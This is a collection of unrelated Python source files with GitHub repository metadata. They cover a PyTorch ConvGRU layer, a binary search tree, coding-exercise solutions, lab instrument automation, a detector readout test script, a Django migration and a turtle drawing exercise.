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import torch import torch.nn as nn class ConvGRU(nn.Module): def __init__(self, h_planes=128, i_planes=128): super(ConvGRU, self).__init__() self.do_checkpoint = False self.convz = nn.Conv2d(h_planes+i_planes, h_planes, 3, padding=1) self.convr = nn.Conv2d(h_planes+i_planes, h_planes, 3, padding=1) self.convq = nn.Conv2d(h_planes+i_planes, h_planes, 3, padding=1) self.w = nn.Conv2d(h_planes, h_planes, 1, padding=0) self.convz_glo = nn.Conv2d(h_planes, h_planes, 1, padding=0) self.convr_glo = nn.Conv2d(h_planes, h_planes, 1, padding=0) self.convq_glo = nn.Conv2d(h_planes, h_planes, 1, padding=0) def forward(self, net, *inputs): inp = torch.cat(inputs, dim=1) net_inp = torch.cat([net, inp], dim=1) b, c, h, w = net.shape glo = torch.sigmoid(self.w(net)) * net glo = glo.view(b, c, h*w).mean(-1).view(b, c, 1, 1) z = torch.sigmoid(self.convz(net_inp) + self.convz_glo(glo)) r = torch.sigmoid(self.convr(net_inp) + self.convr_glo(glo)) q = torch.tanh(self.convq(torch.cat([r*net, inp], dim=1)) + self.convq_glo(glo)) net = (1-z) * net + z * q return net

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class BinarySearchTreeNode: def __init__(self, data): self.data = data self.left = None self.right = None def add_child(self, data): if data == self.data: return # node already exist if data < self.data: if self.left: self.left.add_child(data) else: self.left = BinarySearchTreeNode(data) else: if self.right: self.right.add_child(data) else: self.right = BinarySearchTreeNode(data) def search(self, val): if self.data == val: return True if val < self.data: if self.left: return self.left.search(val) else: return False if val > self.data: if self.right: return self.right.search(val) else: return False def in_order_traversal(self): elements = [] if self.left: elements += self.left.in_order_traversal() elements.append(self.data) if self.right: elements += self.right.in_order_traversal() return elements def find_min(self): min = self.data if self.left: min = self.left.find_min() return min def find_max(self): max = self.data if self.right: max = self.right.find_max() return max def calculate_sum(self): s =0 if self.left: s += self.left.calculate_sum() s += self.data if self.right: s += self.right.calculate_sum() return s def pre_order_traversal(self): element = [self.data] if self.left: element += self.left.pre_order_traversal() if self.right: element += self.right.pre_order_traversal() return element def post_order_traversal(self): elements = [] if self.left: elements += self.left.post_order_traversal() if self.right: elements += self.right.post_order_traversal() elements.append(self.data) return elements def delete(self, val): if val < self.data: if self.left: self.left = self.left.delete(val) elif val > self.data: if self.right: self.right = self.right.delete(val) else: if self.left is None and self.right is None: return None elif self.left is None: return self.right elif self.right is None: return self.left max_val = self.left.find_max() self.data = max_val self.left = self.left.delete(max_val) #min_val = self.right.find_min() #self.data = min_val #self.right = self.right.delete(min_val) return self def build_tree(elements): root = BinarySearchTreeNode(elements[0]) for i in range(1,len(elements)): root.add_child(elements[i]) return root if __name__ == '__main__': numbers_tree = build_tree([17,4,1,9,20,18,13,19,23,34]) print(numbers_tree.in_order_traversal()) print(numbers_tree.find_min()) print(numbers_tree.find_max()) print(numbers_tree.calculate_sum()) print(numbers_tree.pre_order_traversal()) print(numbers_tree.post_order_traversal()) print(numbers_tree.delete(20).post_order_traversal())

[ "noreply@github.com" ]

noreply@github.com

c0b1d5e12729ae2d4281ed759d0bbf82b7099ad6

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/Project1_2020/project1_py/project1.py

599a733141c81031a88a1d0096f538d21b3b30ca

[]

no_license

Neethu-nr/aa222

a3959044668b56f84ced16c379ed27689af03cd0

5b9f999cf8ce5a78b53e7cb23d4594b48f2373c4

refs/heads/master

2022-09-26T17:38:12.960274

2020-06-08T19:42:07

255,469,987

0

1

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# # File: project1.py # ## top-level submission file ''' Note: Do not import any other modules here. To import from another file xyz.py here, type import project1.xyz However, do not import any modules except numpy in those files. It's ok to import modules only in files that are not imported here (e.g. for your plotting code). ''' import numpy as np from project1_py.DescentMethods import Adam, bfgs def optimize(f, g, x0, n, count, prob): """ Args: f (function): Function to be optimized g (function): Gradient function for `f` x0 (np.array): Initial position to start from n (int): Number of evaluations allowed. Remember `g` costs twice of `f` count (function): takes no arguments are returns current count prob (str): Name of the problem. So you can use a different strategy for each problem. `prob` can be `simple1`,`simple2`,`simple3`, `secret1` or `secret2` Returns: x_best (np.array): best selection of variables found """ minimizer = Adam(f=f, g=g) x, _, _, _ = minimizer.minimize(x0, n) return x

[ "neethurenjith16@gmail.com" ]

neethurenjith16@gmail.com

6a578669b0b8807127f6c38bf5a353544d819155

c30b95effe38f0e5afb058a10ed2b091df492e86

/algorithms/strings/separateNumbers.py

a92b93d3de029bc130aa4e6fc66fa831c3c131da

[]

no_license

anikasetia/hackerrank

f7fbacf1ac5ef439842dffbe1592ebcd18271547

7f2605eb6a373516a8c11e01ffa08d9353395aa4

refs/heads/master

2021-01-25T09:53:39.934309

2018-08-09T15:30:27

123,328,471

0

null

UTF-8

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false

525

py

n = int(input()) strings = [] for i in range(n): strings.append(input()) for each in strings: if(each[0] == '0'): print("NO") else: found = False for i in range(1, len(each)): initialStart = each[0:i] start = each[0:i] startInt = int(each[0:i]) while(len(start) < len(each)): if(start == each[0:len(start)]): start += str((startInt) + 1) startInt += 1 else: break if(start == each): print("YES " + initialStart) found = True break if(not found): print("NO")

[ "anika.setia18@gmail.com" ]

anika.setia18@gmail.com

b3fc34e58ec618b0a2750999d13fbcd8c4e40d6c

2041a5a5c84d30884c3c0e14b9efb0c1351f363e

/core/unittests/test_nutritionAPI.py

f41910403adcbf0ae93251ddaab765c100fc2151

[ "MIT" ]

permissive

Z3a1ot/PanPal

ca97b00d203bb88077b03fb6583a55c8778f4f88

3befdcc471c105804c5790a2deb20836e21b8d74

refs/heads/master

2021-07-18T09:01:04.371862

2017-10-21T18:19:02

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py

from unittest import TestCase from core.recipe_sources.NutritionAPI import NutritionAPI class TestNutritionAPI(TestCase): def test_search_recipe(self): napi = NutritionAPI() result = napi.search_recipe("burger", 1) self.assertEqual(len(result), 1) self.assertIs(type(result[0].id), int) self.assertIs(type(result[0].name), unicode) print("{}".format(result)) def test_instructions(self): napi = NutritionAPI() recipe_id = 690978 result = napi.get_recipe_instructions(recipe_id) self.assertGreater(len(result), 0) for k, v in enumerate(result): self.assertIs(type(v), unicode) print("{}".format(result))

[ "oleg.tiurin@gmail.com" ]

oleg.tiurin@gmail.com

6023bcb50aafd7b306145186bfcb06bd0caee57f

022cbcd9189f8db4a4f003e14ec2f68742acddf5

/scary_sphere.py

b06aba884ac33ace57bb95da57f7f95b24a3b63e

[]

no_license

soggychips/Euler360

5d2688afb2788cb13fd88aaba9053c9959c353de

f6a6368cd5c443379fcf9dac5ef18f3dbe3fd38b

refs/heads/master

2021-01-13T02:23:15.439876

2014-07-09T04:34:40

null

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''' Problem 360 http://projecteuler.net/problem=360 Given two points (x1,y1,z1) and (x2,y2,z2) in three dimensional space, the Manhattan distance between those points is defined as |x1-x2|+|y1-y2|+|z1-z2|. Let C(r) be a sphere with radius r and center in the origin O(0,0,0). Let I(r) be the set of all points with integer coordinates on the surface of C(r). Let S(r) be the sum of the Manhattan distances of all elements of I(r) to the origin O. E.g. S(45)=34518. Find S(10^10). Eq. for a sphere: for center C (q,w,e) and radius r, any point P (x,y,z) is on the sphere, if: (x-q)^2 + (y-w)^2 + (z-e)^2 = r^2 => r = sqrt(x**2+y**2+z**2) in polar coords: x = r(cos(theta)*sin(phi)) y = r(sin(theta)*sin(phi)) z = r(cos(phi)) ''' def isPointOnSphere(x,y,z,radius): return (x**2+y**2+z**2 == radius**2) def Manhattan(x,y,z): return abs(x) + abs(y) + abs(z) def AddMan(radius): points = sorted([Manhattan(x,y,z) for x in range(-radius,radius+1) for y in range(-radius,radius+1) for z in range(-radius,radius+1) if isPointOnSphere(x,y,z,radius)]) s = "S(%s) = " % radius for p in range(0,len(points)): s += "%s " % points[p] if p != len(points)-1: s += "+ " #print "%s = %s" % (s,sum([Manhattan(x,y,z) for x in range(-radius,radius+1) for y in range(-radius,radius+1) for z in range(-radius,radius+1) if isPointOnSphere(x,y,z,radius)])) print "Count(S(%s)) = %s" % (radius,len(points)) def AddMan_Gen(radius): return sum(Manhattan(x,y,z) for x in range(-radius,radius+1) for y in range(-radius,radius+1) for z in range(-radius,radius+1) if isPointOnSphere(x,y,z,radius)) def PrintPointsAlongEquator(radius): for z in range(0,radius+1): l = list(((x,y,z) for x in range(-radius,radius+1) for y in range(-radius,radius+1) if isPointOnSphere(x,y,z,radius))) if len(l)>0: print "---\nz=%s" % z print "len(l(%s)) = %s" % (z,len(l)) print l

[ "jake_cohen@me.com" ]

jake_cohen@me.com

a6cf71ddbd080f0b5edf96e372e56ba25168cd51

0af4b9b6f923ff0978275101a7a88bd4775ad137

/functions.py

ca062d94b14a7853a2a91aba4b07a07f6117d853

[]

no_license

sumukhvaidya/TDCF

acbd3e8854b79e854c32084c883156fbb888e402

6ce366a7fb7f9875526fd14b33d3f4ebce6ab3f6

refs/heads/master

2020-04-19T17:28:30.073066

2019-04-06T06:54:13

168,336,101

1

0

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UTF-8

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3,341

py

# Th screen Resolution is 1366x768 import pyautogui import visa import time import numpy as np from struct import unpack import csv #pyautogui.PAUSE=1 #Just a pausing command def setvoltage(vbase, vpulse, ch): pyautogui.click(190,70) # Stop the current AFG run #Double click on Waveform Sequencer for specified channel no pyautogui.click(100,150+(ch-1)*65) pyautogui.click(100,150+(ch-1)*65) # time.delay(0.2) pyautogui.click(300,230) #Double click waveform properties pyautogui.click(300,230) pyautogui.click(960,140) #Setting vpulse pyautogui.typewrite(str(vpulse),interval=0.1) pyautogui.typewrite('\n',interval=0.1) pyautogui.click(960,175) # Setting vbase pyautogui.typewrite(str(vbase),interval=0.1) pyautogui.typewrite('\n',interval=0.1) pyautogui.click(780,140) # Setting amplitude pyautogui.typewrite(str((vpulse-vbase)/2),interval=0.1) pyautogui.typewrite('\n',interval=0.1) pyautogui.click(930,640) # Clicking ok button pyautogui.click(190,70) # Start the next AFG run return def settriggerdelay(t, ch): # t to be set in !NANOSECONDS! pyautogui.click(190,70) # Stop the current AFG run #Double click on Setting for specified channel no pyautogui.click(100,130+(ch-1)*65) pyautogui.click(100,130+(ch-1)*65) # time.delay(0.2) pyautogui.click(700,260) # Click Trigger Delay box pyautogui.typewrite(str(t),interval=0.1)# Enter time in NANOSECONDS pyautogui.typewrite('n',interval=0.1) pyautogui.typewrite('\n',interval=0.1) pyautogui.click(900,570) # Clicking ok button pyautogui.click(190,70) # Start the next AFG run return def togglechannel(ch): pyautogui.click(190,70) # Stop the current AFG run pyautogui.click(250+(ch-1)*60,70)# Toggle the channel pyautogui.click(190,70) # Start the next AFG run return def savedatacsv(scope, ch, filename): s="" scope.write(s.join(('DATA:SOU CH',str(ch)))) #Set Data source Channel scope.write('DATA:WIDTH 1') # Set Data width scope.write('DATA:ENC RPB') # Set data encoding ymult = float(scope.query('WFMPRE:YMULT?')) # Pre-digitising level yzero = float(scope.query('WFMPRE:YZERO?')) # Offset, if any yoff = float(scope.query('WFMPRE:YOFF?')) # Related to trace position on screen xincr = float(scope.query('WFMPRE:XINCR?'))# Time increment in sampling (x axis) scope.write('CURVE?') data = scope.read_raw() headerlen = 2 + int(data[1]) header = data[:headerlen] ADC_wave = data[headerlen:-1] ADC_wave = np.array(unpack('%sB' % len(ADC_wave),ADC_wave)) Volts = (ADC_wave - yoff) * ymult + yzero Time = np.arange(0, xincr * len(Volts), xincr) savefile=s.join((filename,'.csv')) with open(savefile,'w') as file: writer= csv.writer(file, delimiter=',') #writer.writerow([]) #Repair this row to display the Vpre and Vcoll in the csv file too. for i in range(0,len(Time)): if i==0: writer.writerow(['Time','Volts']) else: writer.writerow([str(Time[i]),str(Volts[i])]) return

[ "noreply@github.com" ]

noreply@github.com

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/chw3k5/checklist/unversioned-yuhan/uxm_bath_iv_noise_biasstep.py

2f7f56f6d12ab929aacf83dff9cef4a9953ea2ed

[]

no_license

simonsobs/readout-script-dev

a00850eb294ca9dea7ba11af3a8af0f7f9404fd5

0b002f1477efb6b5fcaddc4a282c35883165a42a

refs/heads/master

2023-08-07T14:44:42.635388

2023-08-01T17:36:44

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1

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2021-07-27T05:25:44

2019-01-08T16:08:13

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''' Code written in Oct 2021 by Yuhan Wang to be used through OCS UFM testing script in Pton takes SC noise, normal noise, IV, (noise and biasstep) at 30,50,70 percent Rn ''' import matplotlib matplotlib.use('Agg') import pysmurf.client import argparse import numpy as np import os import time import glob from sodetlib.det_config import DetConfig import numpy as np from scipy.interpolate import interp1d import argparse import time import csv parser = argparse.ArgumentParser() parser.add_argument('--slot',type=int) parser.add_argument('--temp',type=str) parser.add_argument('--output_file',type=str) args = parser.parse_args() slot_num = args.slot bath_temp = args.temp out_fn = args.output_file cfg = DetConfig() cfg.load_config_files(slot=slot_num) S = cfg.get_smurf_control() if slot_num == 2: fav_tune_files = '/data/smurf_data/tune/1634501972_tune.npy' if slot_num == 3: fav_tune_files = '/data/smurf_data/tune/1634492357_tune.npy' if slot_num == 4: fav_tune_files = '/data/smurf_data/tune/1634507354_tune.npy' if slot_num == 5: fav_tune_files = '/data/smurf_data/tune/1633652773_tune.npy' S.all_off() S.set_rtm_arb_waveform_enable(0) S.set_filter_disable(0) S.set_downsample_factor(20) S.set_mode_dc() S.load_tune(fav_tune_files) bands = [0,1,2,3,4,5,6,7] for band in bands: print('setting up band {}'.format(band)) S.set_att_dc(band,cfg.dev.bands[band]['dc_att']) print('band {} dc_att {}'.format(band,S.get_att_dc(band))) S.set_att_uc(band,cfg.dev.bands[band]['uc_att']) print('band {} uc_att {}'.format(band,S.get_att_uc(band))) S.amplitude_scale[band] = cfg.dev.bands[band]['drive'] print('band {} tone power {}'.format(band,S.amplitude_scale[band] )) print('setting synthesis scale') # hard coding it for the current fw S.set_synthesis_scale(band,1) print('running relock') S.relock(band,tone_power=cfg.dev.bands[band]['drive']) S.run_serial_gradient_descent(band); S.run_serial_eta_scan(band); print('running tracking setup') S.set_feedback_enable(band,1) S.tracking_setup(band,reset_rate_khz=cfg.dev.bands[band]['flux_ramp_rate_khz'],fraction_full_scale=cfg.dev.bands[band]['frac_pp'], make_plot=False, save_plot=False, show_plot=False, channel=S.which_on(band), nsamp=2**18, lms_freq_hz=None, meas_lms_freq=True,feedback_start_frac=cfg.dev.bands[band]['feedback_start_frac'],feedback_end_frac=cfg.dev.bands[band]['feedback_end_frac'],lms_gain=cfg.dev.bands[band]['lms_gain']) print('checking tracking') S.check_lock(band,reset_rate_khz=cfg.dev.bands[band]['flux_ramp_rate_khz'],fraction_full_scale=cfg.dev.bands[band]['frac_pp'], lms_freq_hz=None, feedback_start_frac=cfg.dev.bands[band]['feedback_start_frac'],feedback_end_frac=cfg.dev.bands[band]['feedback_end_frac'],lms_gain=cfg.dev.bands[band]['lms_gain']) bias_groups = [0,1,2,3,4,5,6,7,8,9,10,11] S.set_filter_disable(0) S.set_rtm_arb_waveform_enable(0) S.set_downsample_factor(20) for bias_index, bias_g in enumerate(bias_groups): S.set_tes_bias_low_current(bias_g) bias_v = 0 ## SC noise S.set_rtm_arb_waveform_enable(0) S.set_filter_disable(0) S.set_downsample_factor(20) S.set_tes_bias_bipolar_array([bias_v,bias_v,bias_v,bias_v,bias_v,bias_v,bias_v,bias_v,bias_v,bias_v,bias_v,bias_v,0,0,0]) time.sleep(120) datafile_self = S.stream_data_on() time.sleep(120) S.stream_data_off() fieldnames = ['bath_temp','bias_voltage', 'bias_line', 'band', 'data_path','type','note'] row = {} row['data_path'] = datafile_self row['bias_voltage'] = bias_v row['type'] = 'sc noise' row['bias_line'] = 'all' row['band'] = 'all' row['bath_temp'] = bath_temp with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) ## Normal noise S.set_rtm_arb_waveform_enable(0) S.set_filter_disable(0) S.set_downsample_factor(20) S.overbias_tes_all(bias_groups = [0,1,2,3,4,5,6,7,8,9,10,11], overbias_wait=1, tes_bias= 15, cool_wait= 3, high_current_mode=False, overbias_voltage= 5) ## sleep 6 mins to get stablized for i in range(36): time.sleep(10) datafile_self = S.stream_data_on() time.sleep(120) S.stream_data_off() row = {} row['data_path'] = datafile_self row['bias_voltage'] = 20 row['type'] = 'normal noise' row['bias_line'] = 'all' row['band'] = 'all' row['bath_temp'] = bath_temp with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) ##IV bl_iv_list = [] for bias_gp in [0,1,2,3,4,5,6,7,8,9,10,11]: row = {} row['bath_temp'] = bath_temp row['bias_line'] = bias_gp row['band'] = 'all' row['bias_voltage'] = 'IV 20 to 0' row['type'] = 'IV' print(f'Taking IV on bias line {bias_gp}, all band') iv_data = S.run_iv(bias_groups = [bias_gp], wait_time=0.001, bias_high=20, bias_low=0, bias_step = 0.025, overbias_voltage=18, cool_wait=0, high_current_mode=False, make_plot=False, save_plot=True, cool_voltage = 18) dat_file = iv_data[0:-13]+'.npy' row['data_path'] = dat_file bl_iv_list.append(dat_file) with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) #no wave form please S.set_rtm_arb_waveform_enable(0) ##get target v bias from IV good_chans = 0 all_data = dict() for ind, bl in enumerate(bias_groups): if bl not in all_data.keys(): all_data[bl] = dict() now = np.load(bl_iv_list[bl], allow_pickle=True).item() # print(now[3].keys()) # print(now[0].keys()) # print(now[0][0]['R']) for sb in [0,1,2,3,4,5,6,7]: try: if len(now[sb].keys()) != 0: all_data[bl][sb] = dict() except: continue # print(now[sb].keys()) for chan, d in now[sb].items(): # print(d.keys()) if (d['R'][-1] < 5e-3): continue elif len(np.where(d['R'] > 10e-3)[0]) > 0: continue # elif len(np.where(d['R'] < -2e-4)[0]) > 10: # continue now_chan = len(all_data[bl][sb].keys()) all_data[bl][sb][now_chan] = d good_chans += 1 ##70% Rn first S.set_rtm_arb_waveform_enable(0) S.set_filter_disable(0) S.set_downsample_factor(20) v_bias_all = [] RN = [] target_vbias_list = [] for bl in bias_groups: percent_rn = 0.7 target_v_bias = [] for band in [0,1,2,3,4,5,6,7]: try: for ch,d in all_data[bl][band].items(): rn = d['R']/d['R_n'] cross_idx = np.where(np.logical_and(rn - percent_rn >= 0, np.roll(rn - percent_rn, 1) < 0))[0] RN.append(d['R_n']) target_v_bias.append(d['v_bias'][cross_idx][0]) v_bias_all.append(d['v_bias'][cross_idx][0]) except: continue # print(target_v_bias) med_target_v_bias = np.median(np.array(target_v_bias)) if med_target_v_bias > 12: target_vbias_list.append(0) else: target_vbias_list.append(round(med_target_v_bias,1)) target_vbias_list = np.append(target_vbias_list,[0,0,0]) S.overbias_tes_all(bias_groups = [0,1,2,3,4,5,6,7,8,9,10,11], overbias_wait=1, tes_bias= 5, cool_wait= 3, high_current_mode=True, overbias_voltage= 5) bias_array = np.array(target_vbias_list) / S.high_low_current_ratio S.set_tes_bias_bipolar_array(bias_array) print('waiting extra long for this heat to go away') for i in range(36): time.sleep(10) #switch to high current mode and diable all filters print('preparing for bias step') S.set_downsample_factor(1) S.set_filter_disable(1) step_size = 0.1 / S.high_low_current_ratio bias_voltage = bias_array dat_path = S.stream_data_on() for k in [0,1]: S.set_tes_bias_bipolar_array(bias_array) time.sleep(2) S.set_tes_bias_bipolar_array(bias_array - step_size) time.sleep(2) S.stream_data_off() row = {} row['bath_temp'] = bath_temp row['data_path'] = dat_path row['bias_voltage'] = str(S.get_tes_bias_bipolar_array()) row['type'] = 'bias step' row['bias_line'] = 'all' row['band'] = 'all' row['note'] = '70 Rn step size {}'.format(step_size) with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) step_size = 0.025 / S.high_low_current_ratio bias_voltage = bias_array dat_path = S.stream_data_on() for k in [0,1]: S.set_tes_bias_bipolar_array(bias_array) time.sleep(2) S.set_tes_bias_bipolar_array(bias_array - step_size) time.sleep(2) S.stream_data_off() row = {} row['bath_temp'] = bath_temp row['data_path'] = dat_path row['bias_voltage'] = str(S.get_tes_bias_bipolar_array()) row['type'] = 'bias step' row['bias_line'] = 'all' row['band'] = 'all' row['note'] = '70 Rn step size {}'.format(step_size) with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) step_size = 0.01 / S.high_low_current_ratio bias_voltage = bias_array dat_path = S.stream_data_on() for k in [0,1]: S.set_tes_bias_bipolar_array(bias_array) time.sleep(2) S.set_tes_bias_bipolar_array(bias_array - step_size) time.sleep(2) S.stream_data_off() row = {} row['bath_temp'] = bath_temp row['data_path'] = dat_path row['bias_voltage'] = str(S.get_tes_bias_bipolar_array()) row['type'] = 'bias step' row['bias_line'] = 'all' row['band'] = 'all' row['note'] = '70 Rn step size {}'.format(step_size) with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) S.set_rtm_arb_waveform_enable(0) S.set_filter_disable(0) S.set_downsample_factor(20) #bias to low current mode target first bias_groups = [0,1,2,3,4,5,6,7,8,9,10,11] S.set_tes_bias_bipolar_array(target_vbias_list) #immediately drop to low current S.set_tes_bias_low_current(bias_groups) # sleep for 1 mins for i in range(6): time.sleep(10) datafile_self = S.stream_data_on() time.sleep(120) S.stream_data_off() row = {} row['data_path'] = datafile_self row['bias_voltage'] = str(S.get_tes_bias_bipolar_array()) row['type'] = '70 percent noise low current mode' row['bias_line'] = 'all' row['band'] = 'all' row['bath_temp'] = bath_temp with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) ##50% Rn S.set_rtm_arb_waveform_enable(0) S.set_filter_disable(0) S.set_downsample_factor(20) v_bias_all = [] RN = [] target_vbias_list = [] for bl in bias_groups: percent_rn = 0.5 target_v_bias = [] for band in [0,1,2,3,4,5,6,7]: try: for ch,d in all_data[bl][band].items(): rn = d['R']/d['R_n'] cross_idx = np.where(np.logical_and(rn - percent_rn >= 0, np.roll(rn - percent_rn, 1) < 0))[0] RN.append(d['R_n']) target_v_bias.append(d['v_bias'][cross_idx][0]) v_bias_all.append(d['v_bias'][cross_idx][0]) except: continue # print(target_v_bias) med_target_v_bias = np.median(np.array(target_v_bias)) if med_target_v_bias > 12: target_vbias_list.append(0) else: target_vbias_list.append(round(med_target_v_bias,1)) target_vbias_list = np.append(target_vbias_list,[0,0,0]) S.overbias_tes_all(bias_groups = [0,1,2,3,4,5,6,7,8,9,10,11], overbias_wait=1, tes_bias= 5, cool_wait= 3, high_current_mode=True, overbias_voltage= 5) bias_array = np.array(target_vbias_list) / S.high_low_current_ratio S.set_tes_bias_bipolar_array(bias_array) print('waiting extra long for this heat to go away') for i in range(36): time.sleep(10) #switch to high current mode and diable all filters print('preparing for bias step') S.set_downsample_factor(1) S.set_filter_disable(1) step_size = 0.1 / S.high_low_current_ratio bias_voltage = bias_array dat_path = S.stream_data_on() for k in [0,1]: S.set_tes_bias_bipolar_array(bias_array) time.sleep(2) S.set_tes_bias_bipolar_array(bias_array - step_size) time.sleep(2) S.stream_data_off() row = {} row['bath_temp'] = bath_temp row['data_path'] = dat_path row['bias_voltage'] = str(S.get_tes_bias_bipolar_array()) row['type'] = 'bias step' row['bias_line'] = 'all' row['band'] = 'all' row['note'] = '50 Rn step size {}'.format(step_size) with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) step_size = 0.025 / S.high_low_current_ratio bias_voltage = bias_array dat_path = S.stream_data_on() for k in [0,1]: S.set_tes_bias_bipolar_array(bias_array) time.sleep(2) S.set_tes_bias_bipolar_array(bias_array - step_size) time.sleep(2) S.stream_data_off() row = {} row['bath_temp'] = bath_temp row['data_path'] = dat_path row['bias_voltage'] = str(S.get_tes_bias_bipolar_array()) row['type'] = 'bias step' row['bias_line'] = 'all' row['band'] = 'all' row['note'] = '50 Rn step size {}'.format(step_size) with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) step_size = 0.01 / S.high_low_current_ratio bias_voltage = bias_array dat_path = S.stream_data_on() for k in [0,1]: S.set_tes_bias_bipolar_array(bias_array) time.sleep(2) S.set_tes_bias_bipolar_array(bias_array - step_size) time.sleep(2) S.stream_data_off() row = {} row['bath_temp'] = bath_temp row['data_path'] = dat_path row['bias_voltage'] = str(S.get_tes_bias_bipolar_array()) row['type'] = 'bias step' row['bias_line'] = 'all' row['band'] = 'all' row['note'] = '50 Rn step size {}'.format(step_size) with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) S.set_rtm_arb_waveform_enable(0) S.set_filter_disable(0) S.set_downsample_factor(20) #bias to low current mode target first bias_groups = [0,1,2,3,4,5,6,7,8,9,10,11] S.set_tes_bias_bipolar_array(target_vbias_list) #immediately drop to low current S.set_tes_bias_low_current(bias_groups) # sleep for 5 mins for i in range(36): time.sleep(10) datafile_self = S.stream_data_on() time.sleep(120) S.stream_data_off() row = {} row['data_path'] = datafile_self row['bias_voltage'] = str(S.get_tes_bias_bipolar_array()) row['type'] = '50 percent noise low current mode' row['bias_line'] = 'all' row['band'] = 'all' row['bath_temp'] = bath_temp with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) ##30% Rn S.set_rtm_arb_waveform_enable(0) S.set_filter_disable(0) S.set_downsample_factor(20) v_bias_all = [] RN = [] target_vbias_list = [] for bl in bias_groups: percent_rn = 0.3 target_v_bias = [] for band in [0,1,2,3,4,5,6,7]: try: for ch,d in all_data[bl][band].items(): rn = d['R']/d['R_n'] cross_idx = np.where(np.logical_and(rn - percent_rn >= 0, np.roll(rn - percent_rn, 1) < 0))[0] RN.append(d['R_n']) target_v_bias.append(d['v_bias'][cross_idx][0]) v_bias_all.append(d['v_bias'][cross_idx][0]) except: continue # print(target_v_bias) med_target_v_bias = np.median(np.array(target_v_bias)) if med_target_v_bias > 12: target_vbias_list.append(0) else: target_vbias_list.append(round(med_target_v_bias,1)) target_vbias_list = np.append(target_vbias_list,[0,0,0]) S.overbias_tes_all(bias_groups = [0,1,2,3,4,5,6,7,8,9,10,11], overbias_wait=1, tes_bias= 5, cool_wait= 3, high_current_mode=True, overbias_voltage= 5) bias_array = np.array(target_vbias_list) / S.high_low_current_ratio S.set_tes_bias_bipolar_array(bias_array) print('waiting extra long for this heat to go away') for i in range(30): time.sleep(10) #switch to high current mode and diable all filters print('preparing for bias step') S.set_downsample_factor(1) S.set_filter_disable(1) step_size = 0.1 / S.high_low_current_ratio bias_voltage = bias_array dat_path = S.stream_data_on() for k in [0,1]: S.set_tes_bias_bipolar_array(bias_array) time.sleep(1) S.set_tes_bias_bipolar_array(bias_array - step_size) time.sleep(1) S.stream_data_off() row = {} row['bath_temp'] = bath_temp row['data_path'] = dat_path row['bias_voltage'] = str(S.get_tes_bias_bipolar_array()) row['type'] = 'bias step' row['bias_line'] = 'all' row['band'] = 'all' row['note'] = '30 Rn step size {}'.format(step_size) with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) step_size = 0.025 / S.high_low_current_ratio bias_voltage = bias_array dat_path = S.stream_data_on() for k in [0,1]: S.set_tes_bias_bipolar_array(bias_array) time.sleep(2) S.set_tes_bias_bipolar_array(bias_array - step_size) time.sleep(2) S.stream_data_off() row = {} row['bath_temp'] = bath_temp row['data_path'] = dat_path row['bias_voltage'] = str(S.get_tes_bias_bipolar_array()) row['type'] = 'bias step' row['bias_line'] = 'all' row['band'] = 'all' row['note'] = '30 Rn step size {}'.format(step_size) with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) step_size = 0.01 / S.high_low_current_ratio bias_voltage = bias_array dat_path = S.stream_data_on() for k in [0,1]: S.set_tes_bias_bipolar_array(bias_array) time.sleep(2) S.set_tes_bias_bipolar_array(bias_array - step_size) time.sleep(2) S.stream_data_off() row = {} row['bath_temp'] = bath_temp row['data_path'] = dat_path row['bias_voltage'] = str(S.get_tes_bias_bipolar_array()) row['type'] = 'bias step' row['bias_line'] = 'all' row['band'] = 'all' row['note'] = '30 Rn step size {}'.format(step_size) with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) S.set_rtm_arb_waveform_enable(0) S.set_filter_disable(0) S.set_downsample_factor(20) #bias to low current mode target first bias_groups = [0,1,2,3,4,5,6,7,8,9,10,11] S.set_tes_bias_bipolar_array(target_vbias_list) #immediately drop to low current S.set_tes_bias_low_current(bias_groups) # sleep for 1 mins for i in range(30): time.sleep(10) datafile_self = S.stream_data_on() time.sleep(120) S.stream_data_off() row = {} row['data_path'] = datafile_self row['bias_voltage'] = str(S.get_tes_bias_bipolar_array()) row['type'] = '30 percent noise low current mode' row['bias_line'] = 'all' row['band'] = 'all' row['bath_temp'] = bath_temp with open(out_fn, 'a', newline = '') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writerow(row) #turn filter back on and sample rate into 200Hz S.set_rtm_arb_waveform_enable(0) S.set_filter_disable(0) S.set_downsample_factor(20)

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# Generated by Django 2.2.11 on 2020-03-27 19:21 from django.db import migrations class Migration(migrations.Migration): dependencies = [("reporting", "0108_auto_20200405_1316")] operations = [migrations.RemoveField(model_name="ocpusagelineitemdailysummary", name="pod")]

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import turtle # Set the number of sides here. sides = 8 # Set the length of a side here. length = 80 t = turtle.Turtle() t.color("orange") t.back(50) for side in range(sides): t.forward(length) t.right(360/sides) # On the line above, replace the # value 72 with an arithmetic # expression that uses the # 'sides' variable.

